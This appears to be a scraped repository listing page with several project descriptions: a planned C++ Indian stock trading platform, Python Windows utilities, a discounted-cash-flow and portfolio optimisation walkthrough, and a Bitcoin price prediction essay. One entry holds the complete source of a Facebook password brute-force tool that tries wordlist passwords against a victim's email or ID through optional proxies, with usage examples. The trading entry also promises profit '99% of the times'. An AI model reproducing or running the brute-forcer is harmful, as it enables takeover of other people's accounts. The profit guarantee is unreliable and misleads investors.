830 skills found · Page 14 of 28
ideas4u / Trading PlatformThis project is the most awaited project in open source community where every user who belongs to Stock Trading always wanted to develop its own software. This project has been developed specifically for Indian Market Stock Trading. It encompasses end to end trading cycle for intraday trading but the design would be such that it can be easily extended for delivery trading. During the lifecycle of this project we will be using most advance technologies but the base code will always be C/C++. Development Methodology: ======================== We use "Incremental Life Cycle Model" along with Cross-Platform Development (Portable). Project Priorities and Assumptions: =================================== 1) Low Latency, High Performance all the time. 2) Wherever choice has to be made between memory and execution speed, we give preference to speed. 3) Every module devloped will be exhaustively tested. How the work Proceed: ===================== Before the beginning of any new project, we should know the "PROBLEM STATEMENT", so here it is "Problem Statement" ------------------- To Build a high performance, low latency, end to end Trading Platform for Indian Stock Market but not limited to which home users should be able use for trading which guarantees (99% of the times) the profit but does not guarantees maximized profit for intraday trading. First Step: ----------- To provide the optimal solution to any problem is "UNDERSTAING THE PROBLEM". To understand the above problem statement you need to really extract the explicit and implcit requirements from the statement. Here is the List of requirements: Explicit: --------- 1) High Performance 2) Low-Latency 3) End-to-End Trading Platform 4) Focus on Indian Stock Market but not limited to it. 5) Guarantees (99% of the times) the profit but does not guarantees maximized profit. 6) Only for Intraday Trading. Implicit: --------- 1) Book Keeping of the order and trade (Order Management System). 2) Availability of Market Data to End-Users on Demand for identifying the stock and placing the order. 3) User Account Management. Might be I missed something please suggest and after reveiw we add it here. Second Step: ------------ To understand the above Explicit/Implicit requirements, you should have the "KNOWLEDGE OF VARIOUS TECHNOLOGIES" and indepth undertstanding of the "PROBLEM DOMAIN" i.e. Stock Market. Once this is achieved we need to architect the solution in terms of Software and Hardware nodes and their integration. Third Step: ----------- To solve the problem statement, the above requirements should be "DECOMPOSED IN MODULES" and map to them with technolgoies/software/hardware used. Below is the list of modules we are able to identify: Modules Included: ================= Core Modules: -------------- 1) Core Libraries 2) Manual Order Entry System 3) Auto Order Entry System 4) Artificial Exchange 5) Algorithmic Trading Platform 6) Smart Order Router 7) Direct Trading Platform (Ooptional) Utility Modules: ---------------- 8) Logger Server 9) HeartBeat Server Technologies Used: ================= Software: --------- We always use freeware, Open Source Softwares or APIs which are the part of GPL, LGPL.xx licence. Any special requirement for building/using the modules will be detailed in specific module. For development, we generally use: ---------------------------------- Windows-7 for Operating System but any other OS ca be used. Our Code is Platform Indepandant. Visual Studio 2013 in built compiler for build or Intel@ Compilers which can be easily integrated with Visual Studio IDE. For real time, we generally use: -------------------------------- Linux-susse 10 or above with real time extensions. gcc 4.4.1 for build. vi editor Hardware: --------- No special requirement for development purpose. For real time use, it depands how much Stock you are interested in and the various configuration of modules. We prefer generally the below configuration for any number of Stock Trading: 256 GB RAM 16 core processor 1 TB of HDD/SDD Programming Languages and other Technologies: --------------------------------------------- C, C++99/c++11, Lua, ZeroMq, nanodbc, Lock-Free Data Structures, Intel TBB, Boost, Google Protobuf, MySql, Python. Fourth Step: ------------ Dcompose each module till it becomes entity to provide the useful functionality. We are going to explain this in each module detailed section. Fifth Step: ------------ We do design/develop/benchmark/unit test/integration testing of the above modules. Sixth Step: ------------ We deploy the delivered software on various hardware nodes as per the deployment architecture and integrate them. Seventh Step: ------------ Observe the behaviour of deployed software on live traffic and cut two branches at this level : 1st branch continue to do incremental development and 2nd branch fix the issues reported which can be later merged with 1st branch for another release. Any suggestions for improvement are most welcome.
fishstiqz / PycdbPython wrapper for the Windows CDB Debugger
dsoprea / M2CryptoWindowsBinaries for Python 2.7 M2Crypto under Windows
DevPops-Inc / PythonI wrote these Python scripts to automate tasks for Mac, Linux, and Windows-users.
hbldh / LspoptPython implementation of a multitaper window method for estimating Wigner spectra for certain locally stationary processes
b00skit / PyITAgentPyITAgent is a Python-based Windows executable designed to serve as an agent for your computer, allowing it to sync seamlessly with your Snipe-IT asset management system.
Granddyser / Windows Llama Cpp Python Cuda GuideA comprehensive, step-by-step guide for successfully installing and running llama-cpp-python with CUDA GPU acceleration on Windows. This repository provides a definitive solution to the common installation challenges, including exact version requirements, environment setup, and troubleshooting tips.
FatimaKabali / Fatima #!/usr/bin/python import socket, sys, os, re, random, optparse, time if sys.version_info.major <= 2:import httplib else:import http.client as httplib ## COLORS ############### wi="\033[1;37m" #>>White# rd="\033[1;31m" #>Red # gr="\033[1;32m" #>Green # yl="\033[1;33m" #>Yellow# ######################### os.system("cls||clear") def write(text): sys.stdout.write(text) sys.stdout.flush() versionPath = "core"+os.sep+"version.txt" errMsg = lambda msg: write(rd+"\n["+yl+"!"+rd+"] Error: "+yl+msg+rd+ " !!!\n"+wi) try:import requests except ImportError: errMsg("[ requests ] module is missing") print(" [*] Please Use: 'pip install requests' to install it :)") sys.exit(1) try:import mechanize except ImportError: errMsg("[ mechanize ] module is missing") print(" [*] Please Use: 'pip install mechanize' to install it :)") sys.exit(1) class FaceBoom(object): def __init__(self): self.useProxy = None self.br = mechanize.Browser() self.br.set_handle_robots(False) self.br._factory.is_html = True self.br.addheaders=[('User-agent',random.choice([ 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) RockMelt/0.9.58.494 Chrome/11.0.696.71 Safari/534.24', 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36', 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/535.2 (KHTML, like Gecko) Chrome/15.0.874.54 Safari/535.2', 'Opera/9.80 (J2ME/MIDP; Opera Mini/9.80 (S60; SymbOS; Opera Mobi/23.348; U; en) Presto/2.5.25 Version/10.54', 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.12 Safari/535.11', 'Mozilla/5.0 (Windows NT 5.1) AppleWebKit/535.6 (KHTML, like Gecko) Chrome/16.0.897.0 Safari/535.6', 'Mozilla/5.0 (X11; Linux x86_64; rv:17.0) Gecko/20121202 Firefox/17.0 Iceweasel/17.0.1']))] @staticmethod def check_proxy(proxy): proxies = {'https':"https://"+proxy, 'http':"http://"+proxy} proxy_ip = proxy.split(":")[0] try: r = requests.get('https://www.wikipedia.org',proxies=proxies, timeout=5) if proxy_ip==r.headers['X-Client-IP']: return True return False except Exception : return False @staticmethod def cnet(): try: socket.create_connection((socket.gethostbyname("www.google.com"), 80), 2) return True except socket.error:pass return False def get_profile_id(self, target_profile): try: print(gr+"\n["+wi+"*"+gr+"] geting target Profile Id... please wait"+wi) idre = re.compile('"entity_id":"([0-9]+)"') con = requests.get(target_profile).text idis = idre.findall(con) print(wi+"\n["+gr+"+"+wi+"]"+gr+" Target Profile"+wi+" ID: "+yl+idis[0]+wi) except IndexError: errMsg("Please Check Your Victim's Profile URL") sys.exit(1) def login(self,target, password): try: self.br.open("https://facebook.com") self.br.select_form(nr=0) self.br.form['email']=target self.br.form['pass']= password self.br.method ="POST" if self.br.submit().get_data().__contains__(b'home_icon'):return 1 elif "checkpoint" in self.br.geturl(): return 2 return 0 except(KeyboardInterrupt, EOFError): print(rd+"\n["+yl+"!"+rd+"]"+yl+" Aborting"+rd+"..."+wi) time.sleep(1.5) sys.exit(1) except Exception as e: print(rd+" Error: "+yl+str(e)+wi+"\n") time.sleep(0.60) def banner(self,target,wordlist,single_passwd): proxystatus = gr+self.useProxy+wi+"["+gr+"ON"+wi+"]" if self.useProxy else yl+"["+rd+"OFF"+yl+"]" print(gr+""" ================================== [---] """+wi+"""*CYBER_ROCKY*"""+gr+""" [---] ================================== [---] """+wi+"""Facebook-Hack-BD """+gr+""" [---] ================================== [---] """+yl+"""CONFIG"""+gr+""" [---] ================================== [>] Target :> """+wi+target+gr+""" {}""".format("[>] Wordlist :> "+yl+str(wordlist) if not single_passwd else "[>] Password :> "+yl+str(single_passwd))+gr+""" [>] ProxyStatus :> """+str(proxystatus)+wi) if not single_passwd: print(gr+"""\ =================================="""+wi+""" [~] """+yl+"""Facebook-"""+rd+"""Password-Attack: """+gr+"""Enabled """+wi+"""[~]"""+gr+""" ==================================\n"""+wi) else:print("\n") @staticmethod def updateFaceBoom(): if not os.path.isfile(versionPath): errMsg("Unable to check for updates: please re-clone the script to fix this problem") sys.exit(1) write("[~] Checking for updates...\n") conn = httplib.HTTPSConnection("raw.githubusercontent.com") conn.request("GET", "/Oseid/FaceBoom/master/core/version.txt") repoVersion = conn.getresponse().read().strip().decode() with open(versionPath) as vf: currentVersion = vf.read().strip() if repoVersion == currentVersion:write(" [*] The script is up to date!\n") else: print(" [+] An update has been found ::: Updating... ") conn.request("GET", "/Oseid/FaceBoom/master/faceboom.py") newCode = conn.getresponse().read().strip().decode() with open("faceboom.py", "w") as faceBoomScript: faceBoomScript.write(newCode) with open(versionPath, "w") as ver: ver.write(repoVersion) write(" [+] Successfully updated :)\n") parse = optparse.OptionParser(wi+""" Usage: python fb-hack-bd.py [OPTIONS...] ------------- OPTIONS: |Facebook-account💀Hacking💀Tools. ____ _ ____ _ / ___| _| |__ ___ _ __ | _ \ ___ ___| | ___ _ | | | | | | '_ \ / _ \ '__|____| |_) / _ \ / __| |/ / | | | | |__| |_| | |_) | __/ | |_____| _ < (_) | (__| <| |_| | \____\__, |_.__/ \___|_| |_| \_\___/ \___|_|\_\\__, | |___/ |___/ ............................................................ This is ***Cyber-Rocky*** Password Attack Tools. .....Made in Bangladesh..... |-------- | -t <target email> [OR] <FACEBOOK ID> ::> Specify target Email [OR] Target Profile ID |-------- | -w <wordlist Path> ::> Specify Wordlist File Path |-------- | -s <single password> ::> Specify Single Password To Check |-------- | -p <Proxy IP:PORT> ::> Specify HTTP/S Proxy (Optional) |-------- | -g <TARGET Facebook Profile URL> ::> Specify Target Facebook Profile URL For Get HIS ID |-------- | -u/--update ::> Update FaceBoom Script ------------- Examples: | |-------- |1/ python fb-hack-bd.py -t Victim@gmail.com -w /usr/share/wordlists/rockyou.txt |-------- |*2/ python fb-hack-bd.py -t 100001013078780 -w /data/data/com.termux/files/home/password.txt |-------- |3/ python fb-hack-bd.py -t Victim@hotmail.com -w \wordlist.txt -p 144.217.101.245:3129 |-------- |4/ python fb-hack-bd.py -t Victim@gmail.com -s 1234567 |-------- |5/ python fb-hack-bd.py -g https://www.facebook.com/Victim_Profile |-------- """) def Main(): parse.add_option("-t","--target",'-T','--TARGET',dest="target",type="string", help="Specify Target Email or ID") parse.add_option("-w","--wordlist",'-W','--WORDLIST',dest="wordlist",type="string", help="Specify Wordlist File ") parse.add_option("-s","--single","--S","--SINGLE",dest="single",type="string", help="Specify Single Password To Check it") parse.add_option("-p","-P","--proxy","--PROXY",dest="proxy",type="string", help="Specify HTTP/S Proxy to be used") parse.add_option("-g","-G","--getid","--GETID",dest="url",type="string", help="Specify TARGET FACEBOOK PROFILE URL to get his ID") parse.add_option("-u","-U","--update","--UPDATE", dest="update", action="store_true", default=False) (options,args) = parse.parse_args() faceboom = FaceBoom() target = options.target wordlist = options.wordlist single_passwd = options.single proxy = options.proxy target_profile = options.url update = options.update opts = [target,wordlist,single_passwd, proxy, target_profile, update] if any(opt for opt in opts): if not faceboom.cnet(): errMsg("Please Check Your Internet Connection") sys.exit(1) if update: faceboom.updateFaceBoom() sys.exit(1) elif target_profile: faceboom.get_profile_id(target_profile) sys.exit(1) elif wordlist or single_passwd: if wordlist: if not os.path.isfile(wordlist): errMsg("Please check Your Wordlist Path") sys.exit(1) if single_passwd: if len(single_passwd.strip()) < 6: errMsg("Invalid Password") print("[!] Password must be at least '6' characters long") sys.exit(1) if proxy: if proxy.count(".") != 3: errMsg("Invalid IPv4 ["+rd+str(proxy)+yl+"]") sys.exit(1) print(wi+"["+yl+"~"+wi+"] Connecting To "+wi+"Proxy[\033[1;33m {} \033[1;37m]...".format(proxy if not ":" in proxy else proxy.split(":")[0])) final_proxy = proxy+":8080" if not ":" in proxy else proxy if faceboom.check_proxy(final_proxy): faceboom.useProxy = final_proxy faceboom.br.set_proxies({'https':faceboom.useProxy, 'http':faceboom.useProxy}) print(wi+"["+gr+"Connected"+wi+"]") else: errMsg("Connection Failed") errMsg("Unable to connect to Proxy["+rd+str(proxy)+yl+"]") sys.exit(1) faceboom.banner(target,wordlist,single_passwd) loop = 1 if not single_passwd else "~" if single_passwd: passwords = [single_passwd] else: with open(wordlist, 'r', errors='replace') as f: passwords = f.readlines() for passwd in passwords: passwd = passwd.strip() if len(passwd) <6:continue write(wi+"["+yl+str(loop)+wi+"] Trying Password[ {"+yl+str(passwd)+wi+"} ]") retCode = faceboom.login(target, passwd) if retCode: sys.stdout.write(wi+" ==> Login"+gr+" Success\n") print(wi+"========================="+"="*len(passwd)+"======") print(wi+"["+gr+"+"+wi+"] Password [ "+gr+passwd+wi+" ]"+gr+" Is Correct :)") print(wi+"========================="+"="*len(passwd)+"======") if retCode == 2:print(wi+"["+yl+"!"+wi+"]"+yl+" Warning: This account use ("+rd+"2F Authentication"+yl+"):"+rd+" It's Locked"+yl+" !!!") break else: sys.stdout.write(yl+" ==> Login"+rd+" Failed\n") loop = loop + 1 if not single_passwd else "~" else: if single_passwd: print(yl+"\n["+rd+"!"+yl+"] Sorry: "+wi+"The Password[ "+yl+passwd+wi+" ] Is Not Correct"+rd+":("+yl+"!"+wi) print(gr+"["+yl+"!"+gr+"]"+yl+" Please Try Another password or Wordlist "+gr+":)"+wi) else: print(yl+"\n["+rd+"!"+yl+"] Sorry: "+wi+"I Can't Find The Correct Password In [ "+yl+wordlist+wi+" ] "+rd+":("+yl+"!"+wi) print(gr+"["+yl+"!"+gr+"]"+yl+" Please Try Another Wordlist. "+gr+":)"+wi) sys.exit(1) else: print(parse.usage) sys.exit(1) if __name__=='__main__': Main() ############################################################## ##################### ######################### ##################### END OF TOOL ######################### ##################### ######################### ############################################################## #This Tool by Oseid Aldary #Have a nice day :) #GoodBye
Nikkitaseth / ProjectAlphaPYTHON CODE WALKTHROUGH Data Sourcing In order to run a discounted cash flow model (DCF), I needed data, so I found a free API that provided us with everything I needed. I wrote a code that saved every financial statement of every company in a separate text file. In this code, I asked to ping the API’s URL for every ticker, open a text file for one of the financial statements for one company ticker, dump all the data found by the code into this file, and close it. This process was repeated for every company in our company list and every statement I have a code for. By doing so I Ire able to store the data for every company locally and did not need to ping the API every time I ran our code. Once all the financial data for each company was stored in form of a balance sheet, income statement, cash flow statement, and company profile text file, I needed to pick out specific items required for our DCF model. Thus, I defined the functions that selected all required items from the respective financial statements of each company and assigned them to a variable using utils.py. Discounted Cash Flow Model First of all, I needed to import the functions I defined in utils.py before defining the DCF model function, which would run for every company in our list. Next, I ensured to have 5 consecutive years of past data to compute the average. Thus, the first few lines of code checked whether the last year on record was 2019 from which point I would go back 5 years; if the last year was 2018, this would be taken as the first data entry from which I would go back 5 years. The second part mentioned above is important because companies file their 10-K, i.e. their annual report, at different times throughout the year so there may be companies that already filed their reports while others had not. After this step, five-year averages of every item’s percentage of revenue Ire calculated as Ill as the average revenue growth over the same period. These items included EBIT, depreciation & amortization, capital expenditures, and the change in net working capital. Once that was done, there Ire only three variables missing before calculating free cash flows for the next few years: a discount or hurdle rate; industry-specific perpetual growth rates; and a tax rate. After these three variables Ire set up, the next step was to calculate the free cash flows to the firm (fcff) for the next 5 years and determine the terminal value at the end of the period using the growth rate for the corresponding industry. For the former, I use a loop to calculate the fcff for all the year, discount it, and add it to one variable called fcffpv. Once the terminal value was calculated, these two additional numbers captured the enterprise value of the firm. Since I Ire interested in the equity value, I subtracted debt and add cash, which left us with the equity value. In one final step, I divided this value by the number of shares to end up with an intrinsic value per share. After calculating the intrinsic value per share, I compared it to the current share price with two additions. First, I added a buffer to minimize our downside risk for inaccuracy in calculations, which is called the margin of safety. Here, the intrinsic value should at least be 115% of the current share price. I also set an upper limit at 130% to ensure I would not include companies with extraordinarily high valuations, compared to their current price. If the share price calculated fell within this window, I added its ticker to a dataframe, which was the last step in the function. As such, the DCF function would run for every company and provide a dataframe with the tickers of all those companies that Ire undervalued at the time and fell within the 115% - 130% range. Portfolio Optimization The dataframe with the tickers of all the undervalued companies that was previously created has now become the portfolio, which I converted into a list and used as the source for further optimization that is about to come. Some general inputs for the rest of the code Ire the start and end date of the data I requested for optimization, as Ill as the risk-free rate and the number of simulations I wanted to run our optimizations for. Now that the general framework has been created, it is time to choose some conditioning variables to measure the performance of investment in one sector or across a combination of some/all sectors, respectively. Project Alpha uses the following conditioning variables to optimize its portfolios: • Sharpe Ratio: It measures the performance of an investment compared to the risk-free asset, i.e. the 10-year Treasury Bond, after adjusting for its risk factor or standard deviation. The Sharpe ratio would be given a higher Iight for investors who have a higher risk tolerance. In terms of code, I used the bt package to retrieve the data betIen the predetermined start and end date for the companies in our ticker list. This data was then used to find the portfolio with the highest Sharpe ratio. For that, random Iights Ire assigned to each company and the ratio was computed. After running the number of simulations previously determined, the Iights with the highest Sharpe ratio will be located using loc() and labeled ‘sharpe_portfolio’ which is a dataframe containing the excess return, the volatility, Sharpe ratio, as Ill as the Iights for every company. I also located the portfolio with the loIst volatility, put it in a dataframe called ‘min_volatility_port’ which has the same attributes. The rest of the code of this segment simply created a picture with all the portfolios generated, displaying the efficient frontier and highlighting the portfolio with the highest Sharpe ratio and loIst volatility. • Value at Risk (VaR): VaR was chosen as a diagnostic tool to assess the model. In our case, it basically indicated the percentage of time in which a loss greater than 1% would occur over a period of 5 years. Its limitation is that although it measures how bad the best of the bad is, it does not measure how bad it can get, meaning the worst of the worst. In regards to the code, I first requested the adjusted closing for the companies in our ticker list in the determined time horizon. I then retrieved the Iights from our Sharpe portfolio, set the number of days I wanted to simulate as Ill as the cutoff, before calculating the returns of every company in every period; here: daily. Thereafter, I created a new variable called ‘sigma’, which was be a copy of our return variable, in order to ensure the right format and type for our Monte Carlo loop. The simulation is pretty straight forward, as it measures how many runs the returns fall within 1% or outside of it. I then Iighed the resulting returns by the Iight of the company in the portfolio and whenever the portfolio return was outside the set boundary, it would count as a ‘bad simulation’. Once that is done, the number of bad simulations was divided by the total number of simulations to end up with a percentage of how many simulations were bad, which equals our VaR • Treynor Ratio: For the investors that already have a perfectly diversified portfolio and would like to add more assets to it, there would be a higher Iight on the Treynor ratio. It basically uses beta as a risk factor because it carries the risk relative to the market, instead of standard deviation as in Sharpe, meaning only systematic or non-diversifiable risk. For the code, I first calculated the portfolio’s beta. For that, I defined a function ‘beta’ that reads the beta of every company and returns it. The next step is to run a loop that would enter the beta of every company in our ticker list into a new dataframe. After setting the index equal to the tickers and transposing the Sharpe portfolio Iights, I can concat the two thus resulting in two columns: one is the beta of every company and the second is the corresponding Iight in the portfolio. I then created a third column as the product of columns one and two. The sum of all entries in that column is the portfolio beta, which was then used as the denominator for the ratio. The nominator was already calculated as ‘Excess Return’ in the Sharpe portfolio. • Sortino Ratio: The Sortino ratio measures only the downside risk (downside deviation or semi-deviation) by measuring returns against a minimum acceptable return, 𝜏. It is surprising to know that most of the industry ignores the total number of periods taken and just calculates the downside deviation by choosing the periods with downside risk, which results in misleading results. Project Alpha uses all the periods to calculate the same, so as to have an advantage over those robo-advisors/financial advisors that do not follow this process. The alpha in the future would be generated by going long on companies with high correct Sortino and low incorrect Sortino as they are undervalued, and shorting those with low correct Sortino and high incorrect Sortino as these are overvalued. The Sortino ratio would be given more Iight for investors who are more risk averse. This part of the code started with retrieving the data for our benchmark, the S&P 500, for the period and the calculating the average daily and annual return. After that, I calculate the portfolio returns, ‘returns[“Returns”]’, by adding the products of every company’s Iight times its return, which gave us the portfolio return for every period. From here, I calculated the downside risk by comparing the portfolio return in every period to the daily average return of our benchmark in a for loop. Before I did that, I defined a new variable called ‘semi’, which is a data series and will be filled with whatever comes out of the loop every single time. If the portfolio return minus the average daily return of the benchmark was greater than 0 – meaning the portfolio earned more than the average of the S&P500 – the value for the period was set to 0 and added to the semi data series. If it is 0, which is extremely unlikely, but whatever, it would also be 0. If it is less than 0, hoIver, which indicates underperformance, I would square the portfolio return, which already gives us the semi variance I need for our next step. From here, I can simply take the square root of the average of the ‘semi’ data series to get the daily downside risk and multiplying it by the square root of 252, which gives us the annual number. After that, I have all the numbers to calculate the Sortino ratio. • Information Ratio: The information ratio measures the portfolio returns compared to the returns of a benchmark index, i.e. S&P500, after adjusting for its additional risk. It only looks at the excess return of the portfolio over the benchmark and the volatility or risk associated with it. I already have all the inputs I need to calculate his ratio. Thus, I simply created a new dataframe with the portfolio returns of every period and the benchmark returns of every period. To find the excess return, i.e. the nominator, I simply subtracted the latter from the former and assigned it to a new variable, which I called ‘excess_return’. The nominator would be the average return of the portfolio minus the average return of the benchmark, and the denominator would be the standard deviation of the ‘excess_return’ series. Finally, I printed short sentences with the results for every conditioning variable just described as an output in the console.
ananya2001gupta / Bitcoin Price Prediction Using AI ML.Identify the software project, create business case, arrive at a problem statement. REQUIREMENT: Window XP, Internet, MS Office, etc. Problem Description: - 1. Introduction of AI and Machine Learning: - Artificial Intelligence applies machine learning, deep learning and other techniques to solve actual problems. Artificial intelligence (AI) brings the genuine human-to-machine interaction. Simply, Machine Learning is the algorithm that give computers the ability to learn from data and then make decisions and predictions, AI refers to idea where machines can execute tasks smartly. It is a faster process in learning the risk factors, and profitable opportunities. They have a feature of learning from their mistakes and experiences. When Machine learning is combined with Artificial Intelligence, it can be a large field to gather an immense amount of information and then rectify the errors and learn from further experiences, developing in a smarter, faster and accuracy handling technique. The main difference between Machine Learning and Artificial Intelligence is , If it is written in python then it is probably machine learning, If it is written in power point then it is artificial intelligence. As there are many existing projects that are implemented using AI and Machine Learning , And one of the project i.e., Bitcoin Price Prediction :- Bitcoin (₿ ) (founder - Satoshi Nakamoto , Ledger start: 3 January 2009 ) is a digital currency, a type of electronic money. It is decentralized advanced cash without a national bank or single chairman that can be sent from client to client on the shared Bitcoin arrange without middle people's requirement. Machine learning models can likely give us the insight we need to learn about the future of Cryptocurrency. It will not tell us the future but it might tell us the general trend and direction to expect the prices to move. These machine learning models predict the future of Bitcoin by coding them out in Python. Machine learning and AI-assisted trading have attracted growing interest for the past few years. this approach is to test the hypothesis that the inefficiency of the cryptocurrency market can be exploited to generate abnormal profits. the application of machine learning algorithms to the cryptocurrency market has been limited so far to the analysis of Bitcoin prices, using random forests , Bayesian neural network , long short-term memory neural network , and other algorithms. 2. Applications/Scope of AI and Machine Learning :- a) Sentiment Analysis :- It is the classification of subjective opinions or emotions (positive, negative, and neutral) within text data using natural language processing. b) It is Characterized as a use of computerized reasoning where accessible data is utilized through calculations to process or help the handling of factual information. BITCOIN PRICE PREDICTION USING AI AND MACHINE LEARNING: - The main aim of this is to find the actual Bitcoin price in US dollars can be predicted. The chance to make a model equipped for anticipating digital currencies fundamentally Bitcoin. # It works the prediction by taking the coinMarkup cap. # CoinMarketCap provides with historical data for Bitcoin price changes, keep a record of all the transactions by recording the amount of coins in circulation and the volume of coins traded in the last 24-hours. # Quandl is used to filter the dataset by using the MAT Lab properties. 3. Problem statement: - Some AI and Machine Learning problem statements are: - a) Data Privacy and Security: Once a company has dug up the data, privacy and security is eye-catching aspect that needs to be taken care of. b) Data Scarcity: The data is a very important aspect of AI, and labeled data is used to train machines to learn and make predictions. c) Data acquisition: In the process of machine learning, a large amount of data is used in the process of training and learning. d) High error susceptibility: In the process of artificial intelligence and machine learning, the high amount of data is used. Some problem statements of Bitcoin Price Prediction using AI and Machine Learning: - a) Experimental Phase Risk: It is less experimental than other counterparts. In addition, relative to traditional assets, its level can be assessed as high because this asset is not intended for conservative investors. b) Technology Risks: There is a technological risk to other cryptocurrencies in the form of the potential appearance of a more advanced cryptocurrency. Investors may simply not notice the moment when their virtual assets lose their real value. c) Price Variability: The variability of the value of cryptocurrency are the large volumes of exchange trading, the integration of Bitcoin with various companies, legislative initiatives of regulatory bodies and many other, sometimes disregarded phenomena. d) Consumer Protection: The property of the irreversibility of transactions in itself has little effect on the risks of investing in Bitcoin as an asset. e) Price Fluctuation Prediction: Since many investors care more about whether the sudden rise or fall is worth following. Bitcoin price often fluctuates by more than 10% (or even more than 30%) at some times. f) Lacks Government Regulation: Regulators in traditional financial markets are basically missing in the field of cryptocurrencies. For instance, fake news frequently affects the decisions of individual investors. g) It is difficult to use large interval data (e.g., day-level, and month-level data) . h) The change time of mining difficulties is much longer. Moreover, do not consider the news information since it is hard to determine the authenticity of a news or predict the occurrence of emergencies.
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